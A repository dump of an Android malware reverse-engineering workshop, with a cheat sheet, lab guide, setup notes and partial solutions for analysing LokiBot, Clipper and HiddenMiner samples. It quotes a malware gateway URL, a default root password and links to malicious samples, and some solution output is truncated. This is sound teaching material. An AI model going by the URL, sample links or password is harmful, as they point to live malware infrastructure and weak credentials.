206 | - Show processes: `frida-ps -D emulator-5554` 207 | - Launch application and hook: `frida -D emulator-5554 -l hook.js -f packagename --no-pause` 208 | - Attach application and hook: `frida -D emulator-5554 -l hook.js -n packagename --no-pause` 209 | 210 | Sample hook: 211 | 212 | ```javascript 213 | console.log("[*] Loading Frida script for Android/LokiBot"); 214 | if (Java.available) { 215 | console.log("[*] Java is available"); 216 | 217 | Java.perform(function() { 218 | aclass = Java.use("a.b.c.d"); 219 | aclass.method.implementation = function(args ...) { 220 | // code for the hook 221 | } 222 | }); 223 | } 224 | ``` 225 | 226 | 227 | # Android emulator 228 | 229 | ## ADB 230 | 231 | ```bash 232 | $ adb devices 233 | $ adb install package.apk 234 | $ adb uninstall packagename 235 | $ adb forward tcp:port tcp:otherport 236 | $ adb pull fileinemulator localpath 237 | $ adb push localfile fileinemulator 238 | $ adb emu geo fix longitude latitude 239 | $ adb shell 240 | ``` 241 | 242 | For logs: 243 | ```bash 244 | $ adb logcat 245 | ``` 246 | 247 | Or more precisely: 248 | ```bash 249 | $ adb logcat -s TAG 250 | ``` 251 | 252 | ## AVD 253 | 254 | ```bash 255 | $ android list targets 256 | $ emulator -avd AVDNAME & 257 | ``` 258 | 259 | ## In the emulator 260 | 261 | ```bash 262 | $ service call iphonesubinfo 1 263 | $ pm list packages 264 | $ pm uninstall packagename 265 | $ pm grant package permission 266 | $ setprop theproperty value 267 | $ getprop theproperty 268 | $ am start -a ACTIVITY 269 | $ am start -n packagename/packagename.activityname 270 | $ am force-stop com.some.package.name 271 | $ settings get secure android_id 272 | ``` 273 | 274 | 275 | # Docker 276 | 277 | - To stop a container: `docker stop container-name` 278 | - To see logs: `docker logs container-name` 279 | - To remove a container: `docker rm container-name` 280 | - To list containers: `docker ps` or `docker ps -a` 281 | - To build an image: `docker build -t image-name path-to-dockerfile` 282 | - To get a shell in a container: `docker exec -it container-name /bin/bash` 283 | 284 | For more, [see the Docker cheat sheet](https://github.com/wsargent/docker-cheat-sheet) 285 | -------------------------------------------------------------------------------- /workshops/hacklu-2018/guide.md: -------------------------------------------------------------------------------- 1 | % Android RE Workshop 2 | % Axelle Apvrille 3 | % October 2018 4 | 5 | Creative Commons License
Android RE workshop by Axelle Apvrille (Fortinet) is licensed under a Creative Commons Attribution 4.0 International License 6 | 7 | **Laptop setup**: please go to USB key: `./instructions/setup.md` 8 | 9 | Log in the container. **From now on, the rest of the labs assumes you are inside the lab's docker container.** 10 | 11 | **Solutions of labs** are on the USB key `./solutions/soluce.html` 12 | 13 | # Android/LokiBot 14 | 15 | **Android/LokiBot** aka **Locker** is an Android banking trojan. 16 | It adds phishing overlays to numerous banking applications and has a ransomware stage. 17 | The malware is sold underground as a kit, for approximately 2000 USD in bitcoins. 18 | 19 | The sample we study in this lab was found in October 2017. 20 | Please get `lokibot.apk`, sha256: `bae9151dea172acceb9dfc27298eec77dc3084d510b09f5cda3370422d02e851` 21 | 22 | > Further details: W. Gahr, P. Duy Phuc, N. Croese, [LokiBot - the first hybrid Android malware](https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html), October 2017 23 | 24 | ## Lab 1. Radare2 on LokiBot 25 | 26 | [Radare2](https://github.com/radare/radare2) is a Unix friendly reverse engineering framework. For Android, it supports the disassembly of DEX files. 27 | It is pre-installed in your Docker containers. 28 | 29 | ### Using radare2 30 | 31 | - Unzip the APK 32 | - Convert the manifest to an XML format 33 | - Locate the main activity 34 | 35 | Then launch radare2 on the `classes.dex`: `r2 classes.dex` 36 | 37 | - Analyze all: `aa` (this may take a little time) 38 | - List functions: `afl` 39 | - List functions of class MainActivity: `afl~MainActivity` 40 | 41 | **Q1**. What methods does MainActivity have? Can you provide their prototype signature? 42 | 43 | To disassemble a given function, use `pdf @ function-address`. If you don't want to copy/paste the address itself, `sym.function-name` will point to its address. 44 | 45 | **Q2**. Disassemble the constructor. What does it do? 46 | 47 | ### CommandService 48 | 49 | If we disassemble `onCreate()` of the Main Activity, we see it starts two services: 50 | 51 | - CommandService 52 | - InjectService 53 | 54 | 55 | For example, that's the portion of code that starts the `CommandService` service. 56 | ``` 57 | | 0x0002876e 22011600 new-instance v1, Landroid/content/Intent; ; 0x1b3c 58 | | 0x00028772 1c02ee00 const-class v2, Lfsdfsdf/gsdsfsf/gjhghjg/lbljhkjblkjblkjblkj/CommandService; 59 | | 0x00028776 703027005102 invoke-direct {v1, v5, v2}, Landroid/content/Intent.(Landroid/content/Context;Ljava/lang/Class;)V ; 0x27 60 | | 0x0002877c 6e2039051500 invoke-virtual {v5, v1}, Lfsdfsdf/gsdsfsf/gjhghjg/lbljhkjblkjblkjblkj/MainActivity.startService(Landroid/content/Intent;)Landroid/content/ComponentName; ; 0x539 61 | ``` 62 | 63 | Let's investigate `CommandService`. It is an [**IntentService**](https://developer.android.com/reference/android/app/IntentService). Intent services basically are services meant to handle intents :) 64 | 65 | The class has a **constructor and 4 methods**: 66 | 67 | - **constructor**: this is called when an object is instantiated 68 | - **onCreate()**: this gets called by the system when the service is first created 69 | - **onStartCommand()**. The [documentation](https://developer.android.com/reference/android/app/IntentService) explains this method should not be overriden for intent services. As a matter of fact, if you check its disassembly (`pdf @ ...`), you'll see it merely calls `onStartCommand()` of its parent. 70 | - **onHandleIntent()**. This is where the payload of an intent service is. This method gets call whenever an intent is sent to the service. For example, this happens when `startService()` for CommandService is called in the main activity. 71 | - **abideasfasfasfasfafa()**. Actually, `onHandleIntent()` doesn't do much apart calling this method `abideasfasfasfasfafa()`. That's where the interesting code lies. 72 | 73 | 74 | **Q3**. Get the address of CommandService's `abideasfasfasfasfafa()`. 75 | 76 | **Q4**. List all string references used in `abideasfasfasfasfafa()`. A string reference starts with `str.`. For example, `str.f.j_f_s7o1`. To disassemble a function, use `pdf`. To move to a given address use `s ADDR`. To grep, use `~`. 77 | 78 | Let's focus on `str.f.j_f_s7o1`. This is the name of the string within Radare 2. To view the content of the string, do `Cs. @ ADDR` (or `Cs.. @ ADDR` for more details). 79 | 80 | **Q5**. What is the exact content of `str.f.j_f_s7o1`? 81 | 82 | ## Lab 2. Radare2 script to de-obfuscate LokiBot 83 | 84 | ### De-obfuscation algorithm 85 | 86 | The strings of `abideasfasfasfasfafa()` are de-obfuscated by calling `abideasfasfasfasfafa()` in class `fsdfsdf.gsdsfsf.gjhghjg.lbljhkjblkjblkjblkj.absurdityasfasfasfasfafa`. 87 | *Read this algorithm and understand it*. 88 | 89 | For this part, instead of Radare 2, I recommend you use `/opt/extract.sh lokibot.apk` and navigate to the appropriate method. 90 | 91 | **Q1**. Write a Python routine that matches this algorithm - to de-obfuscate strings. 92 | 93 | Your Python function should have the following signature: 94 | 95 | ```python 96 | def deobufscate(s, key1=88, key2=33): 97 | # function should return a string 98 | 99 | ``` 100 | 101 | ### De-obfuscating strings with a Radare2 script 102 | 103 | 104 | Radare2 supports **Python scripts**. We are going to implement a script to de-obfuscate strings from within Radare 2. 105 | To invoke this script in Radare 2, do: `#!pipe python yourscript.py args` 106 | 107 | **Anatomy of a Radare2 script**: 108 | 109 | ```python 110 | import r2pipe 111 | 112 | # open communication 113 | r2p = r2pipe.open() 114 | 115 | # example issuing 2 commands: seek at address 0x00025900 116 | # followed by function disassembly at that address 117 | r2p.cmd("s 0x00025900 ; pdf") 118 | ``` 119 | 120 | **Q2** Write the script to de-obfuscate `str.f.j_f_s7o1` 121 | 122 | To help you out: 123 | 124 | - The de-obfuscation routine uses constants 88 and 3 125 | - In Radare2, to print the value at a given address, I recommend you try `p?` and choose the output format you need, like `p8`, `px`... 126 | - In Python, to read arguments, you can use the sys package: `import sys` and then `sys.argv[1]` etc. 127 | - In Python, the method `str.decode('hex')` might be helpful for some conversions 128 | 129 | 130 | ## Lab 3. Frida on LokiBot 131 | 132 | [Frida](https://www.frida.re/) is a dynamic intrumentation toolkit. It works over several platforms, including Android. 133 | 134 | It helps you **hook** functions. In this lab, we are going to hook the de-obfuscation method to automatically print 135 | the de-obfuscated result to our eyes. The advantage is that we no longer need to understand how obfuscation works. 136 | The disadvantage is that we only see deobfuscated results for strings that actually get called because this is *dynamic*. 137 | 138 | Frida is already installed in your docker container. 139 | If you need to install it by yourself, it's quite easy, please [refer to the doc](https://www.frida.re/docs/installation/). 140 | 141 | ### Launch an Android emulator 142 | 143 | First of all, launch an Android 7.1.1 emulator. In your docker container, there is an alias for that, so just run : `emulator7 &` 144 | 145 | I do not recommend using an older emulator (encountered issues with Frida), and for this lab, please **do not use an x86 emulator** so we all have the same :) 146 | 147 | The emulator might take a *long time* to launch. Be patient! 148 | 149 | Meanwhile, read the next steps. 150 | 151 | ### Hooking with Frida 152 | 153 | We want to hook `abideasfasfasfasfafa()` in class `fsdfsdf.gsdsfsf.gjhghjg.lbljhkjblkjblkjblkj.absurdityasfasfasfasfafa`. 154 | Frida hooks are implemented in Javascript. 155 | The anatomy of a hook is the following: 156 | 157 | ```javascript 158 | console.log("[*] Loading Frida script for Android/LokiBot"); 159 | if (Java.available) { 160 | console.log("[*] Java is available"); 161 | 162 | Java.perform(function() { 163 | aclass = Java.use("a.b.c.d"); 164 | aclass.method.implementation = function(args ...) { 165 | // code for the hook 166 | } 167 | }); 168 | } 169 | ``` 170 | 171 | I recommend adding messages around to see what's happening: `console.log("...");`. 172 | To actually call the real `abideasfasfasfasfafa()` within the hook: `this.abideasfasfasfasfafa(string);` works :) 173 | 174 | **Q1.** Write your Frida hook to display the obfuscated string and the de-obfuscated string. 175 | 176 | ### Run Frida Server 177 | 178 | Check your emulator is operational: 179 | 180 | ``` 181 | # adb devices 182 | List of devices attached 183 | emulator-5554 device 184 | ``` 185 | 186 | Frida uses a client that runs your hook on one side, and a server, which runs on the emulator. 187 | Let's install the server. 188 | 189 | The correct Frida server is located in your Docker container at `/opt/frida-server`. We will push it to the emulator in a place where we can run it: 190 | 191 | ``` 192 | adb push /opt/frida-server /data/local/tmp/ 193 | adb shell "chmod 755 /data/local/tmp/frida-server" 194 | ``` 195 | 196 | Then, connect to the emulator: `adb shell`. Inside the emulator shell, do: 197 | 198 | ``` 199 | generic:/ $ su 200 | generic:/ # cd /data/local/tmp 201 | generic:/data/local/tmp # ./frida-server 202 | 203 | ``` 204 | 205 | ### Run Frida 206 | 207 | Open another terminal on your Docker container. 208 | Check Frida sees your emulator: 209 | 210 | ``` 211 | root@90b58e6bc8f4:/opt# frida-ls-devices 212 | Id Type Name 213 | ------------- ------ --------------------- 214 | local local Local System 215 | emulator-5554 usb Android Emulator 5554 216 | tcp remote Local TCP 217 | ``` 218 | 219 | Check Frida client is able to communicate with the server by listing process on the emulator: 220 | 221 | ``` 222 | root@90b58e6bc8f4:/opt# frida-ps -D emulator-5554 223 | PID Name 224 | ----- -------------------------------------------------- 225 | 73 adbd 226 | 18249 android.process.acore 227 | 19940 android.process.media 228 | 75 audioserver 229 | ... 230 | ``` 231 | 232 | Now, install the LokiBot sample: 233 | 234 | ``` 235 | root@90b58e6bc8f4:~# adb install lokibot.apk 236 | Success 237 | ``` 238 | 239 | **Q2**. Find the package name of the Android/Lokibot sample. To list packages on an emulator, use `pm list packages` 240 | 241 | We are now going to launch Frida with our hook. The syntax is `frida -D emulator-5554 -l yourhook.js -f packagename --no-pause` 242 | You should see the de-obfuscated strings! 243 | 244 | **Troubleshooting Frida:** 245 | 246 | - **"Failed to spawn: timeout was reached"**. Check on the Android emulator if the process is launched or not. If not, try again ;-) If it is up, then attach to the process with frida. 247 | - **""Failed to load script: the connection is closed"**. Check that the Frida server is still running. If it is, then try again the command... 248 | - Be sure to use the same version of Frida client and Frida server 249 | - Be sure to run Frida server as root 250 | 251 | 252 | ### Showing the stack 253 | 254 | We are going to **improve the hook**. 255 | Currently, you get de-obfuscated strings, but it's difficult to know *where they are located in the code*. 256 | 257 | Example: 258 | 259 | ``` 260 | de-obfuscating: (k7m= to: phone 261 | ``` 262 | 263 | Fortunately, Frida users share some interesting code snippets on [Codeshare Frida](https://codeshare.frida.re/). 264 | We are going to use [this code snippet](https://codeshare.frida.re/@razaina/get-a-stack-trace-in-your-hook/). 265 | It is written by **@razaina**. 266 | 267 | ```javascript 268 | Java.performNow(function(){ 269 | var target = Java.use("com.pacakge.myClass"); 270 | var threadef = Java.use('java.lang.Thread'); 271 | var threadinstance = threadef.$new(); 272 | 273 | function Where(stack){ 274 | var at = "" 275 | for(var i = 0; i < stack.length; ++i){ 276 | at += stack[i].toString() + "\n"; 277 | } 278 | return at; 279 | } 280 | 281 | target.foo.overload("java.lang.String").implementation = function(obfuscated_str){ 282 | var ret = this.foo(obfuscated_str); 283 | var stack = threadinstance.currentThread().getStackTrace(); 284 | var full_call_stack = Where(stack); 285 | send("Deobfuscated " + ret + " @ " + stack[3].toString() + "\n\t Full call stack:" + full_call_stack) ; 286 | return ret; 287 | } 288 | }) 289 | ``` 290 | 291 | This code snippet works as follows: 292 | 293 | 1. Declare classes and instances 294 | 2. Write a function that displays the stack 295 | 3. Dummy hook. Note that `overload` is used to overload a specific function named `foo`. For example, if you have `void foo(int)` and `void foo(String)`, this hook will only hook the latter, `void foo(String)`. If there is only one possible function for a given name, `overload` does not need to be indicated. 296 | 297 | **Q3**. Modify your Frida hook to display the stack before each de-obfuscated string. 298 | 299 | # Lab 4. Hacking DEX 300 | 301 | ## Create a simple DEX 302 | 303 | ```bash 304 | root@90b58e6bc8f4:~# mkdir hackdex 305 | root@90b58e6bc8f4:~# cd hackdex/ 306 | root@90b58e6bc8f4:~/hackdex# 307 | ``` 308 | 309 | Open a text editor (vi, emacs, nano...) and create a file named `helloworld.java` 310 | 311 | ```java 312 | public class helloworld { 313 | public static void main(String args[]) { 314 | System.out.println("Hello world in DEX!"); 315 | // or anything else, but keep it simple! 316 | } 317 | } 318 | ``` 319 | 320 | - Compile it: `javac helloword.java` 321 | - Convert it to dex: 322 | 323 | ``` 324 | root@90b58e6bc8f4:~/hackdex# /opt/android-sdk-linux/build-tools/28.0.0-rc2/dx --dex --output classes.dex helloworld.class 325 | ``` 326 | 327 | - Zip it: 328 | 329 | ``` 330 | root@90b58e6bc8f4:~/hackdex# zip helloworld.zip classes.dex 331 | adding: classes.dex (deflated 45%) 332 | ``` 333 | 334 | - Push it to the Android emulator: 335 | 336 | ``` 337 | root@90b58e6bc8f4:~/hackdex# adb push helloworld.zip /sdcard/ 338 | helloworld.zip: 1 file pushed. 0.0 MB/s (589 bytes in 0.016s) 339 | ``` 340 | 341 | - Run it: 342 | 343 | ``` 344 | root@90b58e6bc8f4:~/hackdex# adb shell dalvikvm -cp /sdcard/helloworld.zip helloworld 345 | Hello world in DEX! 346 | ``` 347 | 348 | ## View the format of the DEX 349 | 350 | We are going to play with the [DEX format](https://source.android.com/devices/tech/dalvik/dex-format). 351 | 352 | A DEX has several sections: 353 | 354 | - Header 355 | - String identifiers 356 | - Type identifiers 357 | - Prototype identifiers 358 | - Field identifiers 359 | - Method identifiers 360 | - Class definitions 361 | - Data 362 | - ... 363 | 364 | View the layout of the DEX file you generated previously using `dexview.py`. This program is provided on the USB disk in `./data/tools`, or you can get it [from github](https://github.com/cryptax/dextools/tree/master/dexview) 365 | 366 | - Usage for this script shows with `python dexview.py -h`. 367 | - Use `--map` for an overview 368 | 369 | If you didn't manage to get a proper DEX, use the one on the USB key in `./data/solutions/classes.dex` sha256: `d14e48eabceb2afc227a1364049c8dc575b90da96285b6e4093f39e3a2741d00` 370 | 371 | **Q1.** At what offset do you find the string "Hello world in DEX!"? 372 | 373 | ## Patch a DEX 374 | 375 | - Modify the string "Hello world in DEX!" by "Hackk world in DEX!". 376 | - Zip the new classes.dex 377 | - Push it on the emulator 378 | - Run it 379 | 380 | **Q2.** Does it run and why? 381 | 382 | You need to fix the DEX and re-compute its SHA1 hash and checksum. 383 | 384 | **Q3. ** Find how to fix your DEX with `dexview.py` 385 | 386 | Let's fix the DEX: 387 | This creates a `classes.dex.patched`: rename it to `classes.dex` 388 | 389 | - Check the hacked string is in `classes.dex` 390 | - Zip the new classes.dex 391 | - Push it on the emulator 392 | - Run it 393 | 394 | This time, it should work. 395 | 396 | ``` 397 | root@90b58e6bc8f4:~/hackdex# adb shell dalvikvm -cp /sdcard/helloworld.zip helloworld 398 | Hackk world in DEX! 399 | ``` 400 | 401 | # Lab 5: Androguard on Android/Clipper 402 | 403 | In this lab, we'll reverse a very recent malware named [Android/Clipper.A!tr](https://news.drweb.com/show/?i=12739&lng=en). This sample was discovered in August 2018. 404 | 405 | Please retrieve sample named `clipper.apk` from the USB key and make it available to your docker container. 406 | sha256: `ec14c8cac492c6170d57e0064a5c6ca31da3011a9d1512675c266cc6cc46ec8d`. 407 | 408 | > More details: [Doctor Web discovered a clipper Trojan for Android](https://news.drweb.com/show/?i=12739&lng=en) 409 | 410 | To start Androguard, type: `androlyze -s` 411 | You get into a Python interactive shell. Remember to **use Tab for completion**. 412 | 413 | To analyze an application: type `a, d, dx = AnalyzeAPK('apk file name', decompiler='dad')` 414 | 415 | Q1. What is the main activity? `a.get_main_activity()` 416 | Q2. What services do we have? `a.get_services()` 417 | Q3. What receivers do we have? `a.get_receivers()` 418 | 419 | When activities are instantiated, the constructor is called, and then `onCreate()`. 420 | 421 | Q4. Decompile `onCreate()` of the main activity. To decompile with androguard, use: `d.CLASS_put-the-class-path-here.METHOD_onCreate.source()`. Use Tab for completion. 422 | Q5. What service is started? 423 | Q6. Decompile the constructor of that service 424 | Q7. Decompile the `onCreate()` method of that service 425 | Q8. Note a clipboard listener is added. Decompile the `onPrimaryClipChanged()` method of the listener 426 | Q9. Back to the service: we notice a URL `this.gate = "http://fastfrmt.beget.tech/clipper/gateway/";`. Where is this used? To show references, use `d.CLASS_path-to-class-here.FIELD_field-name.show_dref()` 427 | Q10. Decompile a method where the URL is written. What is it doing? 428 | 429 | 430 | # BONUS Lab 6 APK signatures 431 | 432 | Since version 7.0, Android has introduced a new APK signature mechanism to help secure them. 433 | This mechanism consists in adding a new special block in the ZIP file. It is called the *APK Signing Block*. 434 | 435 | > More details: [An Android Package is no Longer a ZIP](https://www.fortinet.com/blog/threat-research/an-android-package-is-no-longer-a-zip.html), August 2018 436 | 437 | Most ZIP tools simply ignore this block, some even fail (e.g 010 Editor ZIP parser fails). 438 | [Parse APK](https://github.com/cryptax/dextools/tree/master/parseapk) is one of the rare (?) tools able to display this special block. 439 | The tool is also on your USB key in the `./data/tools` directory. 440 | 441 | Usage is `python parse_apk package.apk` 442 | 443 | **Q1**. Try it on `clipper.apk`. What is the offset to the APK Signing Block? Locate the signature. 444 | 445 | Now, let's try it on a sample of Android/HiddenMiner. This malware secretly mines Monero in background on the mobile phone. 446 | 447 | Get sample `hiddenminer.apk` with sha256: `1c24c3ad27027e79add11d124b1366ae577f9c92cd3302bd26869825c90bf377`. 448 | 449 | **Q2**. Try to install it. Why doesn't it work? 450 | 451 | 452 | 453 | -------------------------------------------------------------------------------- /workshops/hacklu-2018/setup.md: -------------------------------------------------------------------------------- 1 | % Android RE Workshop 2 | % Axelle Apvrille 3 | % October 2018 4 | 5 | Creative Commons License
Android RE workshop by Axelle Apvrille (Fortinet) is licensed under a Creative Commons Attribution 4.0 International License 6 | 7 | # Setup 8 | 9 | You need: 10 | 11 | - a 64-bit laptop 12 | - [Docker](https://www.docker.com/) 13 | - the Android samples for the lab: those will be provided on a **USB key** during the lab. You can also [access it online](https://my.owndrive.com/index.php/s/27xKfbhCJxkUstA) 14 | - Have at least **6 GB** of free disk space 15 | 16 | ## Contents of the USB key 17 | 18 | The USB key contains: 19 | 20 | - **Instructions**: such as this guide for the lab, and also a cheat sheet of various commands. 21 | - **Tools**: some additional hacking tools 22 | - **Samples**: malicious samples to inspect during the lab. I'll explain which one to use for each lab. 23 | - **Solutions**: if you are stuck... 24 | 25 | **Copy its content to a given directory on your laptop**. 26 | 27 | >**Disclaimer**: most Android samples for this training are **malicious**. 28 | >Do **not** install them on your Android smartphones, tablets, TVs etc. 29 | >**Do not share, do not propagate, act responsibly thanks!** 30 | 31 | | Filename | SHA256 | Comments | 32 | | -------- | ------ | -------- | 33 | | clipper.apk | ec14c8cac492c6170d57e0064a5c6ca31da3011a9d1512675c266cc6cc46ec8d | Android/Clipper.A!tr (August 2018) | 34 | | hiddenminer.apk | 1c24c3ad27027e79add11d124b1366ae577f9c92cd3302bd26869825c90bf377 | Android/HiddenMiner!Android (March 2018) | 35 | | lokibot.apk | bae9151dea172acceb9dfc27298eec77dc3084d510b09f5cda3370422d02e851 | Android/Locker.KV!tr (October 2017) | 36 | 37 | Table: Malicious Samples to study during the workshop 38 | 39 | ## Docker 40 | 41 | ### Installation 42 | 43 | - Install [Docker](https://docs.docker.com/install/) on your host. The free **Community Edition** is fine for this workshop. Make sure Docker works. 44 | - Pull the image for this workshop: 45 | ```bash 46 | $ docker pull cryptax/android-re:latest 47 | ``` 48 | - Run the container: 49 | ```bash 50 | $ docker run -d --name workshop-android -p 5022:22 -p 5900:5900 -v /PUT-YOUR-USBKEY-DIR:/data cryptax/android-re 51 | ``` 52 | 53 | Explanations: 54 | 55 | - 5022 is the **port to access the container's SSH server**. You can customize that if you wish. 56 | - 5900 is the **port to access the container's VNC server**. Same you can change it too. If you do not plan to use vncviewer, you don't need to specify this. 57 | - `PUT-YOUR-USBKEY-DIR`: this is to share the contents of the USB key. Replace `PUT-YOUR-USBKEY-DIR` by the **absolute path** to where you copied the contents of the USB key. 58 | - `workshop-android` is a name for the container. Pick up whatever you wish, it is just a label. 59 | 60 | ### Log in to the container 61 | 62 | Then, you need to connect to the container. There are two options: 63 | 64 | - **SSH**. Use **option -X** to forward X Window. This is the simplest because you don't have to install anything else, but there are some known issues on some hosts, on **Mac** for instance. 65 | ```bash 66 | $ ssh -X -p 5022 root@127.0.0.1 67 | ``` 68 | 69 | - **VNC**. Install a vnc viewer on your host (`sudo apt-get install vncviewer`) and get access to the container 70 | ```bash 71 | vncviewer 127.0.0.1::5900 72 | ``` 73 | **On Mac, there seems to be an issue with the default vnc viewer, please install `vncviewer`.** 74 | 75 | ### Credentials for Docker container 76 | 77 | - Account is `root`. 78 | - Password is **rootpass**. 79 | 80 | ## Checking your lab environment 81 | 82 | 83 | - Check your docker container is up and running (`docker ps`) 84 | - Check you are able to log into the container (see "Log in to the container" section above) 85 | - Check `/opt` has several pre-installed Android RE tools 86 | - Check you have access to the contents of the USB key in `/data` directory 87 | - Launch an Android emulator: `./emulator7 &` 88 | 89 | `emulator7` is a Bash *alias* (see `~/.bashrc`). Check there are no startup errors, then wait for the emulator to boot (very long...) 90 | 91 | When this works, **you are all set up for the labs!** 92 | 93 | 94 | ## Troubleshooting / Alternatives to Docker 95 | 96 | ### Alternative 1: install all tools yourself 97 | 98 | You're on your own here, but it's not that difficult, because you can basically follow the commands that Dockerfile issues (to automatically build the image) and run them manually. 99 | 100 | The **Dockerfile** can be downloaded from [GitHub](https://github.com/cryptax/androidre). 101 | 102 | ### Alternative 2: VirtualBox 103 | 104 | This old [VirtualBox](https://www.virtualbox.org/wiki/Downloads) image may help you out. You can [download it from here](https://mega.nz/#!uRoBXLQA!oukLE-JfJVp1qSLcS4bZrW03QnrxS1GNlKY-3cL1ltc) (5 GB). **I don't recommend it though, because this image is no longer up to date for the workshop*. 105 | 106 | sha256: 107 | ``` 108 | c8b14cdb10a0fd7583ea9f1a5be6c2facfaa8684b782c9fb21918f8e2ba64d5f android-re.ova 109 | ``` 110 | 111 | Import the image of the VM (provided on the USB disk). For your information it is based on Xubuntu 16.04 64 bit. 112 | 113 | Then start the image and login on account `osboxes`. The password is **rootpass**. 114 | 115 | **Note: the VM uses a keyboard layout en_US** 116 | If that does not suit your own keyboard, it can be changed once you login in Main Menu > Keyboard > Layout: unclick "use system defaults", add your own keyboard and select it. 117 | 118 | To share a folder with all the samples for the lab: 119 | 120 | - Mount the contents of the USB disk to a directory named `/data`. 121 | - Open the VM Settings and go to Shared Folders. Click on the Add button and browse for the folder where the contents of the USB disk is on your host. Name that share `data`. 122 | 123 | In the VM, type: 124 | 125 | ```bash 126 | $ mkdir /data 127 | $ sudo mount -t vboxsf data /data 128 | ``` 129 | 130 | ### Alternative 3: VMWare 131 | 132 | I haven't tested the workshop on VMWare, but have been told that the following solutions work: 133 | 134 | a) [Import the VirtualBox .ova file in VMWare](https://blogs.vmware.com/kb/2015/04/import-oracle-virtualbox-virtual-machine-vmware-fusion-workstation-player.html). The import will take some time. 135 | b) In a Linux-based VM in VMWare, install docker and then import my docker container `docker pull cryptax/android-re` 136 | 137 | 138 | -------------------------------------------------------------------------------- /workshops/hacklu-2018/soluce.md: -------------------------------------------------------------------------------- 1 | % Solution of Labs 2 | % Axelle Apvrille 3 | % October 2018 4 | 5 | Creative Commons License
Android RE workshop by Axelle Apvrille (Fortinet) is licensed under a Creative Commons Attribution 4.0 International License 6 | 7 | # Lab 1. Radare2 on LokiBot 8 | 9 | ## Question 1 10 | 11 | ``` 12 | # unzip lokibot.apk -d lokibot-unzipped 13 | # cd lokibot-unzipped 14 | # java -jar /opt/axmlprinter/build/libs/axmlprinter-0.1.7.jar AndroidManifest.xml > AndroidManifest.xml.text 15 | # grep -C 7 MAIN AndroidManifest.xml.text 16 | ``` 17 | 18 | The main activity is `fsdfsdf.gsdsfsf.gjhghjg.lbljhkjblkjblkjblkj.MainActivity`. 19 | 20 | ``` 21 | # r2 classes.dex 22 | [0x00024cdc]> aa 23 | [0x00024cdc]> afl~MainActivity 24 | 0x00028668 1 8 sym.Lfsdfsdf_gsdsfsf_gjhghjg_lbljhkjblkjblkjblkj_MainActivity.method._init___V 25 | 0x00028680 1 106 sym.Lfsdfsdf_gsdsfsf_gjhghjg_lbljhkjblkjblkjblkj_MainActivity.method.abideasfasfasfasfafa__V 26 | 0x00028714 9 62 sym.Lfsdfsdf_gsdsfsf_gjhghjg_lbljhkjblkjblkjblkj_MainActivity.method.onActivityResult_IILandroid_content_Intent__V 27 | 0x00028764 6 298 method.Lfsdfsdf/gsdsfsf/gjhghjg/lbljhkjblkjblkjblkj/MainActivity.Lfsdfsdf/gsdsfsf/gjhghjg/lbljhkjblkjblkjblkj/MainActivity.method.onCreate(Landroid/os/Bundle;)V 28 | ``` 29 | 30 | The methods of MainActivity are: 31 | 32 | - a constructor which returns void 33 | - `void abideasfasfasfasfafa()` 34 | - `void onActivityResult(int, int, Intent)` 35 | - `void onCreate(Bundle)` 36 | 37 | ## Question 2 38 | 39 | ``` 40 | [0x00024cdc]> pdf @ sym.Lfsdfsdf_gsdsfsf_gjhghjg_lbljhkjblkjblkjblkj_MainActivity.method._init___V 41 | | ;-- method.public.constructor.Lfsdfsdf_gsdsfsf_gjhghjg_lbljhkjblkjblkjblkj_MainActivity.Lfsdfsdf_gsdsfsf_gjhghjg_lbljhkjblkjblkjblkj_MainActivity.method._init___V: 42 | / (fcn) sym.Lfsdfsdf_gsdsfsf_gjhghjg_lbljhkjblkjblkjblkj_MainActivity.method._init___V 8 43 | | sym.Lfsdfsdf_gsdsfsf_gjhghjg_lbljhkjblkjblkjblkj_MainActivity.method._init___V (); 44 | | 0x00028668 701000000000 invoke-direct {v0}, Landroid/app/Activity.()V ; 0x0 45 | \ 0x0002866e 0e00 return-void 46 | ``` 47 | 48 | The constructor simply calls the constructor of the Activity class it inherits from. 49 | 50 | ## Question 3 51 | 52 | ``` 53 | [0x00025900]> afl~CommandService 54 | 0x000258cc 1 34 sym.Lfsdfsdf_gsdsfsf_gjhghjg_lbljhkjblkjblkjblkj_CommandService.method._init___V 55 | 0x00025900 49 3066 -> 3054 method.Lfsdfsdf/gsdsfsf/gjhghjg/lbljhkjblkjblkjblkj/CommandService.Lfsdfsdf/gsdsfsf/gjhghjg/lbljhkjblkjblkjblkj/CommandService.method.abideasfasfasfasfafa()V 56 | 0x00026534 1 8 sym.Lfsdfsdf_gsdsfsf_gjhghjg_lbljhkjblkjblkjblkj_CommandService.method.onCreate__V 57 | 0x0002654c 1 12 sym.Lfsdfsdf_gsdsfsf_gjhghjg_lbljhkjblkjblkjblkj_CommandService.method.onHandleIntent_Landroid_content_Intent__V 58 | 0x00026584 1 10 sym.Lfsdfsdf_gsdsfsf_gjhghjg_lbljhkjblkjblkjblkj_CommandService.method.onStartCommand_Landroid_content_Intent_II_I 59 | ``` 60 | 61 | So, the address of `abideasfasfasfasfafa()` is `0x00025900`. 62 | 63 | ## Question 4 64 | 65 | We place ourselves at the beginning of the function (`s`), then we disassemble the function (`pdf`) and grep for things that begin with `str.` 66 | ``` 67 | [0x00024cdc]> s 0x00025900 68 | [0x00025900]> pdf~str. 69 | | :: 0x00025934 1a00b500 const-string v0, str.f.j_f_s7o1 ; 0x2d47c ; "\r Cs.. @ str.f.j_f_s7o1 84 | ascii[13] " Cs. @ str.f.j_f_s7o1 86 | "= 0: 101 | result[i] = chr(ord(result[i]) ^ key1) 102 | i = i -1 103 | if i >= 0: 104 | result[i] = chr(ord(result[i]) ^ key2) 105 | i = i -1 106 | return ''.join(result) 107 | ``` 108 | 109 | 110 | ## Question 2 111 | 112 | The solution for the script is in `./data/solutions/r2loki.py` 113 | 114 | Here are a few de-obfuscated strings: 115 | 116 | ``` 117 | [0x00025900]> #!pipe python ../r2loki.py str.f.j_f_s7o1 118 | Estimated length: 13 119 | Obfuscated hex bytes: 3c662e6a3b660773376f316021 120 | De-obfuscated Result: device_policy 121 | [0x00025900]> #!pipe python ../r2loki.py str.h_z_v9q 122 | Estimated length: 8 123 | Obfuscated hex bytes: 683d7a3f7639713c 124 | De-obfuscated Result: keyguard 125 | [0x000342be]> #!pipe python ../r2loki.py str.d9w___k 126 | Estimated length: 8 127 | Obfuscated hex bytes: 6439773d2d286b28 128 | De-obfuscated Result: gate.php 129 | [0x00033814]> #!pipe python ../r2loki.py str.P_m___N 130 | Estimated 